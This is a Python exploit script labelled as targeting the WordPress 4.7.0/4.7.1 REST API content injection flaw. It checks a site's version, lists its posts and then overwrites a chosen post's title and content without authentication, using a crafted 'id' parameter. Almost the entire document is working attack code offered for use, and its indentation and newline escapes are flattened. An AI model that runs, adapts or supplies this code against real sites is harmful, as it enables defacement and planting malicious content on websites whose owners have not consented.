Notes

#! /usr/bin/env python

"""
Technical Explanation: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
REST API Wordpress reference: https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
Wordpress Version Affected: 4.7.0/4.7.1

2017 - Coded by snoww0lf.
"""
import re
import json
import urllib2

class WpContent:
def __init__(self, url):
self.__url = url
self.__response = urllib2.urlopen(self.__url).read()

def get_api_wp(self):
return re.findall(r"https://api.w.org/' href='(.*)'", self.__response)[0]

def get_wp_version(self):
check_version = re.findall(r'ver=(.*)"', self.__response)[0]
if check_version == "4.7" or check_version == "4.7.1":
check_version += " ( Maybe vulnerable to inject ) "
else:
check_version += " ( Maybe not vulnerable to inject ) "
return check_version

def get_wp_post_information(self):
get_post = urllib2.urlopen(self.get_api_wp()+"wp/v2/posts").read()
load_info = json.loads(get_post)
collected_information = ""
for load in load_info:
collected_information += "[x] Post ID: {0}n[x] Post Title: {1}n[x] Post URL: {2}n[x] Post Content: {3} [SNIPPET]nn".
format(load['id'], load['title']['rendered'].encode("utf-8"), load['link'], load['content']['rendered'][:100].encode('utf-8'))
return collected_information

def inject_content(self, id_content, title, content):
data = json.dumps({
'title':title,
'content':content
})
params = {'Content-Type':'application/json'}
full_url = self.get_api_wp() + "wp/v2/posts/{0}/?id={0}CBF".format(id_content)
req = urllib2.Request(full_url, data, params)
resp = urllib2.urlopen(req).read()
return resp

def main():
print("[X] WORDPRESS 4.7.0/4.7.1 CONTENT INJECTION EXPLOIT BY snoww0lf [X]n")
while True:
url = raw_input("[x] Enter the URL: ")
print("[?] Please wait ...n")
wpcontent = WpContent(url)
wp_version = wpcontent.get_wp_version().split()[0]
print("[x] Wordpress Version: {0} ".format(wp_version))
if(wp_version == "4.7" or wp_version == "4.7.1"):
select = raw_input("[x] It's affected version. It seems vulnerable, continue? [y/n] ").lower()
while(select != "y" and select != "n"):
print("[x] Wrong selection! Try again.")
select = raw_input("[x] Affected version. Seems vulnerable, continue? [y/n] ").lower()
print("n")
if(select == "y"):
print("[x] Parsing data information, please wait ...n")
wp_information = wpcontent.get_wp_post_information()
print(wp_information)
inp_id = input("[x] Enter ID Content that you want to overwrite: ")
inp_title = raw_input("[x] Change title: ")
print("n")
print("=> 1. Load data from file.")
print("=> 2. Input data.")
print("n")
mode = input("[x] Change content by [1/2] ? ")
if mode == 1:
dfile = raw_input("[x] Enter the filename: ")
with open(dfile, 'r') as f:
readf = f.readlines()
print("[x] Exploit in progress ...n")
wpcontent.inject_content(inp_id, inp_title, ''.join(readf))
else:
inp_data = raw_input("[?] Input data: ")
print("[x] Exploit in progress ...n")
wpcontent.inject_content(inp_id, inp_title, inp_data)
print("[x] Update success!n")
cont = raw_input("[?] Continue ? [y/n] ").lower()
while(cont != "y" and cont != "n"):
print("[x] Wrong selection! Try again.")
cont = raw_input("[?] Continue ? [y/n] ").lower()
if cont == "n": break
else:
break
else:
cont = raw_input("[?] Continue ? ").lower()
while(cont != "y" and cont != "n"):
print("[x] Wrong selection! Try again.")
cont = raw_input("[?] Continue ? ").lower()
if cont == "n": break

if __name__ == '__main__':
main()